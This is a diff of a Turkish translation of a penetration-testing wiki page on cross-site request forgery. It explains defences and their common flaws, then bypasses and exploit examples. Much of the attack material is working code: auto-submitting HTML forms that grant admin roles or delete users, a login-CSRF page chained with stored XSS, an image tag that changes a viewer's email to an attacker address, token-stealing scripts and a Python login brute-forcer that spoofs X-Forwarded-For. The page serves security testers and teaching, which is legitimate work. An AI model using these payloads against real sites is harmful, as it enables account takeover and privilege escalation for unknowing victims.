Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

src/SUMMARY.md

@@ -487,6 +487,7 @@
 - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
   - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
   - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
+  - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
 - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
 - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
 - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -4,53 +4,60 @@
 
 ## Cross-Site Request Forgery (CSRF) Açıklaması
 
-**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik zafiyetidir. Bu zafiyet, saldırganların kullanıcıların kimlik doğrulanmış oturumlarını suistimal ederek onların adına işlemler yapmasına olanak tanır. Saldırı, bir kullanıcının (hedef platforma giriş yapmış) kötü niyetli bir siteyi ziyaret etmesiyle gerçekleşir. Bu site, JavaScript çalıştırma, form gönderme veya resim/fetch çağrısı yapma gibi yöntemlerle hedef hesabına istek tetikler.
+**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik açığı türüdür. Kimliği doğrulanmış oturumları kötüye kullanarak, saldırganların habersiz kullanıcılar adına işlemler gerçekleştirmesine olanak tanır. Saldırı, kullanıcının (kurban) oturumunun açık olduğu bir platformdayken kötü amaçlı bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site, JavaScript çalıştırma, formlar gönderme veya resimler getirerek kurban hesabına istekler tetikler.
 
-### CSRF Saldırısı için Önkoşullar
+### CSRF Saldırısı İçin Önkoşullar
 
-Bir CSRF zafiyetinden yararlanmak için birkaç koşulun sağlanması gerekir:
+Bir CSRF açığından yararlanmak için birkaç koşulun sağlanması gerekir:
 
-1. **Değerli Bir İşlem Belirleme**: Saldırgan, kullanıcının şifresini, e-postasını değiştirme veya ayrıcalıkları yükseltme gibi istismar etmeye değer bir işlem bulmalıdır.
-2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca cookies veya the HTTP Basic Authentication header yoluyla yönetiliyor olmalıdır, çünkü diğer header'lar bu amaç için manipüle edilemez.
-3. **Öngörülemez Parametrelerin Olmaması**: İstek, saldırıyı engelleyebilecek öngörülemez parametreler içermemelidir.
+1. **Değerli Bir İşlemi Belirleme**: Saldırgan, kullanıcının şifresini veya e-posta adresini değiştirmek, ayrıcalıkları yükseltmek gibi sömürülecek bir işlem bulmalıdır.
+2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca cookie'ler veya HTTP Basic Authentication header'ı ile yönetiliyor olmalıdır; diğer header'lar bu amaçla manipüle edilemez.
+3. **Öngörülemez Parametrelerin Yokluğu**: İstek öngörülemez parametreler içermemelidir; bu tür parametreler saldırıyı engelleyebilir.
 
 ### Hızlı Kontrol
 
-İsteği Burp içinde yakalayabilir ve CSRF korumalarını kontrol edebilirsiniz; ayrıca tarayıcıdan test etmek için **Copy as fetch** üzerine tıklayıp isteği inceleyebilirsiniz:
+İsteği **Burp** ile yakalayıp CSRF korumalarını kontrol edebilir ve tarayıcıdan test etmek için **Copy as fetch** üzerine tıklayıp isteği inceleyebilirsiniz:
 
 <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### CSRF'ye Karşı Savunma
 
-CSRF saldırılarına karşı uygulanabilecek birkaç önlem vardır:
+CSRF saldırılarına karşı uygulanabilecek bazı karşı önlemler:
 
-- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Bu attribute, tarayıcının çapraz site istekleriyle birlikte cookies göndermesini engeller. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md): Hedef sitenin CORS politikası, özellikle saldırının hedef siteden gelen yanıtı okumasını gerektirdiği durumlarda saldırının uygulanabilirliğini etkileyebilir. [Learn about CORS bypass](cors-bypass.md).
-- **User Verification**: Kullanıcının şifresini yeniden istemek veya bir captcha çözdürmek kullanıcının niyetini doğrulayabilir.
-- **Referrer veya Origin Header'larını Kontrol Etme**: Bu header'ları doğrulamak, isteklerin güvenilir kaynaklardan geldiğini teyit etmeye yardımcı olabilir. Ancak, kötü uygulanmış kontroller URL'lerin dikkatli biçimde hazırlanmasıyla atlatılabilir, örneğin:
-  - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
-  - Using `http://example.com.mal.net` (URL starts with the trusted URL)
-- **Parametre İsimlerini Değiştirme**: POST veya GET isteklerindeki parametre isimlerini değiştirerek otomatik saldırıları önlemek mümkündür.
-- **CSRF Tokens**: Her oturum için benzersiz bir CSRF token'ı eklemek ve sonraki isteklere bu token'ı zorunlu kılmak CSRF riskini önemli ölçüde azaltır. Token'ın etkinliği, CORS uygulanarak artırılabilir.
+- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Bu attribute, tarayıcının cross-site isteklerle birlikte cookie göndermesini engeller. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
+- [**Cross-origin resource sharing**](cors-bypass.md): Hedef sitenin CORS politikası, özellikle saldırının victim sitesinin cevabını okuması gerekiyorsa, saldırının uygulanabilirliğini etkileyebilir. [Learn about CORS bypass](cors-bypass.md).
+- **Kullanıcı Doğrulaması**: Kullanıcının şifresini tekrar sormak veya captcha çöktürmek kullanıcının niyetini teyit edebilir.
+- **Referrer veya Origin Header'larının Kontrolü**: Bu header'ların doğrulanması, isteklerin güvenilir kaynaklardan gelip gelmediğini anlamaya yardımcı olur. Ancak kötü uygulanmış kontroller şu şekilde oluşturulan URL'lerle atlatılabilir:
+  - `http://mal.net?orig=http://example.com` (URL güvenilir URL ile biter)
+  - `http://example.com.mal.net` (URL güvenilir URL ile başlar)
+- **Parametre İsimlerini Değiştirme**: POST veya GET içindeki parametre isimlerinin değiştirilmesi otomatik saldırıları önlemeye yardımcı olabilir.
+- **CSRF Token'ları**: Her oturum için benzersiz bir CSRF token'ı dahil etmek ve sonraki isteklere bu token'ı zorunlu kılmak CSRF riskini ciddi şekilde azaltır. Token etkinliğini artırmak için CORS uygulanması teşvik edilir.
 
-Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliği ve bütünlüğünün korunması için kritiktir.
+Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliği ve bütünlüğünü korumak için kritiktir.
 
-## Savunma Bypass'ları
+#### Savunmaların Yaygın Hataları
 
-### From POST to GET (method-conditioned CSRF validation bypass)
+- SameSite tuzakları: `SameSite=Lax` yine de bağlantılar ve form GET'leri gibi top-level cross-site navigasyonlara izin verir; bu yüzden birçok GET tabanlı CSRF hâlâ mümkün olabilir. Bkz. cookie matrisini [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
+- Header kontrolleri: `Origin` mevcutsa doğrulayın; hem `Origin` hem `Referer` yoksa, kapalı başarısızlık (fail closed) uygulayın. `Referer` üzerinde substring/regex eşleşmelerine güvenmeyin; bunlar lookalike domainler veya hazırlanmış URL'lerle atlatılabilir. Ayrıca `meta name="referrer" content="never"` baskılayıcı taktiğini unutmayın.
+- Method override'ları: Override edilmiş method'ları (`_method` veya override header'ları) durum değiştiren (state-changing) olarak değerlendirin ve CSRF'yi etkin method üzerinde uygulayın, sadece POST'a uygulamakla yetinmeyin.
+- Login akışları: CSRF korumalarını giriş (login) için de uygulayın; aksi takdirde login CSRF, zorunlu yeniden kimlik doğrulama ile saldırgan kontrollü hesaplara giriş yapılmasına olanak sağlar ve bu durum stored XSS ile zincirlenebilir.
 
-Bazı uygulamalar CSRF doğrulamasını yalnızca POST üzerinde uygular ve diğer HTTP verb'leri için atlayabilir. PHP'de yaygın bir anti-pattern şu şekilde görünür:
+## Defences Bypass
+
+### POST'tan GET'e (methoda bağlı CSRF doğrulama atlatması)
+
+Bazı uygulamalar sadece POST üzerinde CSRF doğrulaması uygularken diğer HTTP verb'leri atlayabilir. PHP'de yaygın bir anti-pattern şu şekilde görünür:
 ```php
 public function csrf_check($fatal = true) {
 if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
 // ... validate __csrf_token here ...
 }
 ```
-Eğer kırılgan endpoint $_REQUEST'ten gelen parametreleri de kabul ediyorsa, aynı işlemi GET isteği olarak yeniden yapabilir ve CSRF token'ını tamamen atlayabilirsiniz. Bu, yalnızca POST olan bir işlemi token olmadan başarılı olan bir GET eylemine dönüştürür.
+Eğer vulnerable endpoint aynı zamanda $_REQUEST üzerinden parametre kabul ediyorsa, aynı işlemi bir GET request olarak yeniden yapabilir ve CSRF token'ını tamamen atlayabilirsiniz. Bu, yalnızca POST olan bir işlemi token olmadan başarılı olan bir GET aksiyonuna çevirir.
 
-Example:
+Örnek:
 
-- Orijinal POST with token (beklenen):
+- Original POST with token (intended):
 
 ```http
 POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
@@ -59,55 +66,96 @@ Content-Type: application/x-www-form-urlencoded
 __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
 ```
 
-- GET'e geçerek bypass (no token):
+- Bypass by switching to GET (no token):
 
 ```http
 GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
 ```
 
 Notlar:
-- Bu desen genellikle reflected XSS ile birlikte ortaya çıkar; cevaplar yanlışlıkla application/json yerine text/html olarak sunulur.
-- Bunu XSS ile eşleştirmek, tek bir GET linkiyle hem kırılgan kod yolunu tetikleyip hem de CSRF kontrollerini tamamen atlayabildiğiniz için kötüye kullanımı büyük oranda kolaylaştırır.
+- Bu desen sıklıkla reflected XSS ile birlikte ortaya çıkar; cevaplar yanlışlıkla application/html yerine text/html olarak servis edildiğinde görülür.
+- Bunu XSS ile eşleştirmek, sömürü engellerini büyük ölçüde düşürür çünkü tek bir GET linki ile hem vulnerable kod yolunu tetikleyebilir hem de CSRF kontrollerinden tamamen kaçınabilirsiniz.
 
-### Lack of token
+### Token yokluğu
 
-Uygulamalar token'lar mevcut olduğunda bunları doğrulama mekanizması uygulayabilir. Ancak, token yokken doğrulamanın tamamen atlanması bir güvenlik açığı oluşturur. Saldırganlar bunu, yalnızca token'ın değerini silmek yerine token'ı taşıyan parametreyi tamamen kaldırarak istismar edebilirler. Bu, doğrulama sürecini atlamalarına ve etkili bir Cross-Site Request Forgery (CSRF) saldırısı gerçekleştirmelerine imkan verir.
+Uygulamalar token'lar mevcut olduğunda **validate tokens** mekanizması uygulayabilir. Ancak token yokken validasyon tamamen atlanıyorsa bir vulnerability ortaya çıkar. Saldırganlar bunu, token'ı taşıyan parametreyi sadece değerini değil, **parametreyi kaldırarak** suistimal edebilir. Bu, validasyon sürecini atlatmalarına ve etkili bir Cross-Site Request Forgery (CSRF) attack gerçekleştirmelerine olanak tanır.
 
-### CSRF token is not tied to the user session
+Ayrıca, bazı implementasyonlar sadece parametrenin varlığını kontrol eder ama içeriğini validate etmez; bu durumda **empty token value is accepted**. Bu durumda, isteği sadece `csrf=` ile göndermek yeterlidir:
+```http
+POST /admin/users/role HTTP/2
+Host: example.com
+Content-Type: application/x-www-form-urlencoded
 
-CSRF token'larını kullanıcı oturumlarına bağlamayan uygulamalar ciddi bir güvenlik riski taşır. Bu sistemler her token'ı oluşturan oturuma bağlamak yerine global bir havuza karşı doğrulama yapar.
+username=guest&role=admin&csrf=
+```
+Minimal otomatik gönderim yapan PoC (gezinmeyi history.pushState ile gizleme):
+```html
+<html>
+<body>
+<form action="https://example.com/admin/users/role" method="POST">
+<input type="hidden" name="username" value="guest" />
+<input type="hidden" name="role" value="admin" />
+<input type="hidden" name="csrf" value="" />
+<input type="submit" value="Submit request" />
+</form>
+<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
+</body>
+</html>
+```
+### CSRF token kullanıcı oturumuna bağlı değil
 
-Saldırganların bunu nasıl kötüye kullandığı:
-1. Kendi hesabıyla authenticate olur.
-2. Global havuzdan geçerli bir CSRF token alır.
-3. Bu token'ı bir CSRF saldırısında hedefe karşı kullanır.
+Uygulamalar **CSRF token'larını kullanıcı oturumlarına bağlamıyorsa** önemli bir **güvenlik riski** oluşturur. Bu sistemler, her token'ın başlatan oturuma bağlı olduğundan emin olmak yerine token'ları **küresel bir havuza** karşı doğrular.
 
-Bu zafiyet, saldırganların uygulamanın yetersiz token doğrulama mekanizmasını kullanarak mağdur adına yetkisiz istekler yapmasına olanak tanır.
+Saldırganlar bunu şu şekilde sömürür:
 
-### Method bypass
+1. Kendi hesabını kullanarak **kimlik doğrulaması yapar**.
+2. **Geçerli bir CSRF token'ı edinir** küresel havuzdan.
+3. **Bu token'ı kullanır** kurbana karşı bir CSRF saldırısında.
 
-İstek "weird" bir method kullanıyorsa, method override işlevinin çalışıp çalışmadığını kontrol edin. Örneğin, PUT kullanılıyorsa POST kullanmayı deneyebilir ve şu şekilde gönderebilirsiniz: _https://example.com/my/dear/api/val/num?__method=PUT_
+Bu zafiyet, saldırganların uygulamanın **yetersiz token doğrulama mekanizmasını** kullanarak kurban adına yetkisiz istekler yapmasına olanak tanır.
 
-Bu ayrıca bir POST isteği içinde __method parametresini göndererek veya headers kullanarak da çalışabilir:
+### Yöntem atlatma
 
-- _X-HTTP-Method_
-- _X-HTTP-Method-Override_
-- _X-Method-Override_
+Eğer istek "**tuhaf**" bir **method** kullanıyorsa, **method override** fonksiyonunun çalışıp çalışmadığını kontrol edin. Örneğin, eğer **PUT/DELETE/PATCH** metodu kullanılıyorsa bir **POST** kullanıp override göndererek deneyebilirsiniz, örn. `https://example.com/my/dear/api/val/num?_method=PUT`.
 
-### Custom header token bypass
+Bu ayrıca **`_method` parametresini bir POST gövdesi içinde göndererek** veya override **başlıklarını** kullanarak da işe yarayabilir:
 
-Eğer istek CSRF koruma yöntemi olarak isteğe özel bir header ile token ekliyorsa:
+- `X-HTTP-Method`
+- `X-HTTP-Method-Override`
+- `X-Method-Override`
 
-- Özelleştirilmiş Token ve header olmadan isteği test edin.
-- Tam aynı uzunlukta fakat farklı bir token ile testi yapın.
+Laravel, Symfony, Express gibi framework'lerde yaygındır. Geliştiriciler bazen tarayıcıların bunları gönderemeyeceğini varsayarak POST olmayan HTTP metodlarında CSRF doğrulamasını atlarlar; override'larla yine bu işleyicilere POST ile ulaşabilirsiniz.
+
+Örnek istek ve HTML PoC:
+```http
+POST /users/delete HTTP/1.1
+Host: example.com
+Content-Type: application/x-www-form-urlencoded
+
+username=admin&_method=DELETE
+```
+
+```html
+<form method="POST" action="/users/delete">
+<input name="username" value="admin">
+<input type="hidden" name="_method" value="DELETE">
+<button type="submit">Delete User</button>
+</form>
+```
+### Özel header token bypass
+
+Eğer istek, **custom header** ile bir **token** ekliyorsa ve bu **CSRF protection method** olarak kullanılıyorsa, o zaman:
+
+- İsteği **Customized Token** ve ayrıca **header** olmadan test edin.
+- İsteği aynı **same length** fakat farklı bir **token** ile test edin.
 
 ### CSRF token is verified by a cookie
 
-Uygulamalar CSRF korumasını token'ı hem cookie hem de istek parametresinde kopyalayarak veya bir CSRF cookie'si ayarlayıp backend'de gönderilen token'ın cookie ile eşleşip eşleşmediğini doğrulayarak implemente edebilir. Uygulama, istek parametresindeki token'ın cookie'deki değerle uyumlu olup olmadığını kontrol ederek doğrulama yapar.
+Uygulamalar, token'ı hem bir cookie'de hem de bir request parametresinde çoğaltarak veya bir CSRF cookie'si ayarlayıp backend'e gönderilen token'ın cookie ile eşleşip eşleşmediğini doğrulayarak CSRF koruması uygulayabilir. Uygulama, request parametresindeki token'ın cookie'deki değere uyup uymadığını kontrol ederek istekleri doğrular.
 
-Ancak site, saldırganın mağdurun tarayıcısına bir CSRF cookie'si ayarlamasına izin veren CRLF gibi açıklara sahipse, bu yöntem CSRF saldırılarına karşı savunmasız hale gelir. Saldırgan bunu, sahte bir görüntü yükleyerek cookie'yi ayarlayıp ardından CSRF saldırısını başlatarak istismar edebilir.
+Ancak, site saldırganın kurbanın tarayıcısına bir CSRF cookie'si ayarlamasına izin veren kusurlara sahipse (örneğin bir CRLF açığı), bu yöntem CSRF saldırılarına karşı savunmasızdır. Saldırgan bunu, cookie'yi ayarlayan aldatıcı bir image yükleyerek ve ardından CSRF saldırısını başlatarak kullanabilir.
 
-Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek gösterilmiştir:
+Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek var:
 ```html
 <html>
 <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@@ -130,19 +178,19 @@ onerror="document.forms[0].submit();" />
 </html>
 ```
 > [!TIP]
-> Unutmayın: eğer **csrf token session cookie ile ilişkiliyse bu saldırı işe yaramaz**; çünkü hedefin session'ını sizin session'ınız yapmanız gerekir ve dolayısıyla kendinize saldırmış olursunuz.
+> Not: Eğer **csrf token session cookie ile ilişkiliyse bu attack işe yaramaz** çünkü victim'in session'ını sizin session'ınızla ayarlamanız gerekir ve bu yüzden kendinize saldırmış olursunuz.
 
 ### Content-Type değişikliği
 
-Bu kaynağa göre [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), **POST** metodunu kullanırken preflight isteklerinden kaçınmak için izin verilen Content-Type değerleri şunlardır:
+[**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)'e göre, **POST** yöntemi kullanılırken **preflight** isteklerinden kaçınmak için izin verilen Content-Type değerleri şunlardır:
 
 - **`application/x-www-form-urlencoded`**
 - **`multipart/form-data`**
 - **`text/plain`**
 
-Ancak, kullanılan **Content-Type**'a bağlı olarak **sunucu mantığı değişebilir**; bu yüzden belirtilen değerleri ve diğerlerini, örneğin **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ deneyin.
+Ancak, kullanılan **Content-Type**'a bağlı olarak **server logic** değişebilir; bu yüzden belirtilen değerleri ve diğerlerini, örneğin **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ denemelisiniz.
 
-Örnek (from [here](https://brycec.me/posts/corctf_2021_challenges)) JSON verisini text/plain olarak gönderme:
+Örnek (kaynak: [here](https://brycec.me/posts/corctf_2021_challenges)) JSON verisini text/plain olarak gönderme:
 ```html
 <html>
 <body>
@@ -161,23 +209,23 @@ form.submit()
 </body>
 </html>
 ```
-### JSON Verisi için Preflight İsteklerini Atlama
+### JSON Verileri İçin Preflight İsteklerini Atlatma
 
-Bir POST isteğiyle JSON verisi göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanılması bir preflight isteğini tetikler. Yine de, bu kısıtlamayı aşmak ve sunucunun Content-Type ne olursa olsun JSON veriyi işleyip işlemediğini kontrol etmek için kullanılabilecek yöntemler vardır:
+Bir POST isteğiyle JSON veri göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu content-type'ı göndermek için `XMLHttpRequest` kullanmak bir preflight isteğini tetikler. Yine de, bu sınırlamayı atlatmak ve sunucunun Content-Type'e bakmaksızın JSON veriyi işleyip işlemediğini kontrol etmek için bazı yöntemler vardır:
 
-1. **Alternatif Content Types Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, backend'in Content-Type ne olursa olsun veriyi kullanıp kullanmadığını test eder.
-2. **Content Type'ı Değiştirme**: Bir preflight isteğini engellerken sunucunun içeriği JSON olarak tanımasını sağlamak için veriyi `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu preflight tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırıldıysa doğru işlenebilir.
-3. **SWF Flash File Utilization**: Daha az yaygın ama mümkün bir yöntem, bu kısıtlamaları aşmak için bir SWF flash dosyası kullanmaktır. Bu tekniği detaylı olarak anlamak için [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) referansına bakın.
+1. **Alternatif Content-Type'lar kullanın**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, backend'in Content-Type'e bakmaksızın veriyi kullanıp kullanmadığını test eder.
+2. **Content-Type'ı değiştirin**: Preflight isteğinden kaçınmak ve sunucunun içeriği JSON olarak algılamasını sağlamak için veriyi `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu bir preflight isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırıldıysa doğru şekilde işlenebilir.
+3. **SWF Flash Dosyası Kullanımı**: Daha az yaygın ama mümkün bir yöntem, bu kısıtlamaları atlatmak için bir SWF flash dosyası kullanmaktır. Bu tekniği derinlemesine anlamak için bkz. [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
-### Referrer / Origin check bypass
+### Referrer / Origin kontrollerini atlatma
 
-**Avoid Referrer header**
+**Referrer header'ını engelleme**
 
-Uygulamalar yalnızca 'Referer' header'ı mevcut olduğunda doğrulama yapabilir. Bir tarayıcının bu header'ı göndermesini engellemek için aşağıdaki HTML meta etiketi kullanılabilir:
+Uygulamalar yalnızca 'Referer' header'ı var olduğunda doğrulayabilir. Bir tarayıcının bu header'ı göndermesini engellemek için aşağıdaki HTML meta etiketi kullanılabilir:
 ```xml
 <meta name="referrer" content="never">
 ```
-Bu, 'Referer' header'ın gönderilmemesini sağlar ve bazı uygulamalarda doğrulama kontrollerinin atlatılmasına yol açabilir.
+Bu, 'Referer' başlığının gönderilmemesini sağlar; bazı uygulamalarda doğrulama kontrollerinin atlatılmasına yol açabilir.
 
 **Regexp bypasses**
 
@@ -186,7 +234,7 @@ Bu, 'Referer' header'ın gönderilmemesini sağlar ve bazı uygulamalarda doğru
 ssrf-server-side-request-forgery/url-format-bypass.md
 {{#endref}}
 
-Referrer'ın parametreler içinde göndereceği URL'de sunucunun domain adını ayarlamak için şunu yapabilirsiniz:
+Referrer'ın parametreler içinde göndereceği URL'deki sunucunun alan adını ayarlamak için şu şekilde yapabilirsiniz:
 ```html
 <html>
 <!-- Referrer policy needed to send the qury parameter in the referrer -->
@@ -217,15 +265,50 @@ document.forms[0].submit()
 ```
 ### **HEAD method bypass**
 
-The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
+[**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) dosyasının ilk kısmında [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) açıklanıyor; bir routerın **HEAD isteklerini GET istekleri olarak işleyecek** şekilde ayarlandığı, ancak yanıt gövdesinin olmadığı belirtiliyor — bu Oak'a özgü olmayan yaygın bir çözüm. HEAD istekleriyle ilgilenen özel bir handler yerine, bunlar basitçe **GET handler'a veriliyor fakat uygulama yanıt gövdesini kaldırıyor**.
 
-Bu nedenle, eğer bir GET isteği kısıtlanıyorsa, **GET olarak işlenecek bir HEAD isteği gönderebilirsiniz**.
+Bu nedenle, eğer bir GET isteği kısıtlanıyorsa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**.
 
 ## **Exploit Examples**
 
+### Stored CSRF via user-generated HTML
+
+Rich-text editor'ların veya HTML injection'ın izin verildiği durumlarda, savunmasız bir GET endpoint'ine yönelen pasif bir fetch'i kalıcı hale getirebilirsiniz. İçeriği görüntüleyen herhangi bir kullanıcı, kendi çerezleriyle bu isteği otomatik olarak gerçekleştirecektir.
+
+- Eğer uygulama, kullanıcı oturumuna bağlı olmayan global bir CSRF token kullanıyorsa, aynı token tüm kullanıcılar için geçerli olabilir ve stored CSRF'yi birden fazla hedef arasında güvenilir kılar.
+
+Yüklendiğinde görüntüleyenin e-postasını değiştiren minimal örnek:
+```html
+<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
+```
+### Login CSRF chained with stored XSS
+
+Login CSRF tek başına düşük etkili olabilir, ancak bunu kimlik doğrulamalı bir stored XSS ile zincirlemek güçlü hale gelir: kurbana saldırgan kontrollü bir hesaba kimlik doğrulaması zorlayın; bu bağlamda, kimlik doğrulamalı bir sayfadaki stored XSS çalışır ve token'ları çalabilir, oturumu ele geçirebilir veya ayrıcalıkları yükseltebilir.
+
+- Login endpoint'inin CSRF-able olduğundan emin olun (oturum başına token veya origin kontrolü yok) ve hiçbir kullanıcı etkileşimi engelinin bunu bloke etmediğinden emin olun.
+- Zorla giriş yapıldıktan sonra, saldırganın stored XSS payload'unu içeren sayfaya otomatik olarak yönlendir.
+
+Minimal login-CSRF PoC:
+```html
+<html>
+<body>
+<form action="https://example.com/login" method="POST">
+<input type="hidden" name="username" value="attacker@example.com" />
+<input type="hidden" name="password" value="StrongPass123!" />
+<input type="submit" value="Login" />
+</form>
+<script>
+history.pushState('', '', '/');
+document.forms[0].submit();
+// Optionally redirect to a page with stored XSS in the attacker account
+// location = 'https://example.com/app/inbox';
+</script>
+</body>
+</html>
+```
 ### **Exfiltrating CSRF Token**
 
-Eğer bir **CSRF token** **savunma** olarak kullanılıyorsa, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) zafiyetini veya [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) zafiyetini kötüye kullanarak onu **exfiltrate** etmeye çalışabilirsiniz.
+Eğer bir **CSRF token** **koruma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) zafiyeti veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) zafiyeti suistimal edilerek **exfiltrate it** deneyebilirsiniz.
 
 ### **GET using HTML tags**
 ```xml
@@ -233,7 +316,7 @@ Eğer bir **CSRF token** **savunma** olarak kullanılıyorsa, [**XSS**](xss-cros
 <h1>404 - Page not found</h1>
 The URL you are requesting is no longer available
 ```
-Otomatik olarak bir GET isteği göndermek için kullanılabilecek diğer HTML5 etiketleri şunlardır:
+Otomatik olarak bir GET request göndermek için kullanılabilecek diğer HTML5 etiketleri şunlardır:
 ```html
 <iframe src="..."></iframe>
 <script src="..."></script>
@@ -401,7 +484,7 @@ body += "--" + boundary + "--"
 //xhr.send(body);
 xhr.sendAsBinary(body)
 ```
-### iframe içinden Form POST isteği
+### Bir iframe içinden Form POST isteği
 ```html
 <--! expl.html -->
 
@@ -425,7 +508,7 @@ document.getElementById("formulario").submit()
 </body>
 </body>
 ```
-### **CSRF Token çal ve bir POST request gönder**
+### **CSRF Token'ı çal ve bir POST isteği gönder**
 ```javascript
 function submitFormWithTokenJS(token) {
 var xhr = new XMLHttpRequest()
@@ -472,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
 var POST_URL = "http://google.com?param=VALUE"
 getTokenJS()
 ```
-### **CSRF Token'ını çal ve iframe, form ve Ajax kullanarak bir Post isteği gönder**
+### **CSRF Token'ı çal ve iframe, form ve Ajax kullanarak bir Post isteği gönder**
 ```html
 <form
 id="form1"
@@ -500,7 +583,7 @@ style="display:none"
 src="http://google.com?param=VALUE"
 onload="javascript:f1();"></iframe>
 ```
-### **CSRF Token'ını çal ve bir iframe ve bir form kullanarak bir POST isteği gönder**
+### **CSRF Token çalın ve bir iframe ile bir form kullanarak POST isteği gönderin**
 ```html
 <iframe
 id="iframe"
@@ -533,7 +616,7 @@ document.forms[0].submit.click()
 }
 </script>
 ```
-### **token çal ve 2 iframes kullanarak gönder**
+### **Token çal ve 2 iframes kullanarak gönder**
 ```html
 <script>
 var token;
@@ -563,7 +646,7 @@ height="600" width="800"></iframe>
 <button type="submit">Submit</button>
 </form>
 ```
-### **POSTSteal ile Ajax kullanarak CSRF token çalın ve bir form ile bir POST gönderin**
+### **POSTSteal Ajax ile CSRF tokenini çal ve bir form ile POST gönder**
 ```html
 <body onload="getData()">
 <form
@@ -616,7 +699,7 @@ room: username,
 ```
 ## CSRF Login Brute Force
 
-Bu code, bir CSRF token kullanarak bir login formuna Brut Force yapmak için kullanılabilir (Ayrıca olası bir IP blacklisting'ini atlatmaya çalışmak için X-Forwarded-For header'ını da kullanıyor):
+Bu kod, bir CSRF token kullanarak bir login formuna Brut Force uygulamak için kullanılabilir (Ayrıca olası bir IP blacklisting'i atlatmaya çalışmak için X-Forwarded-For header'ını da kullanır):
 ```python
 import request
 import re
@@ -664,6 +747,7 @@ login(USER, line.strip())
 
 - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
 - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
+- [Burp Suite Professional – CSRF PoC'ları Oluşturma](https://portswigger.net/burp)
 
 ## Referanslar
 
@@ -672,5 +756,11 @@ login(USER, line.strip())
 - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
 - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
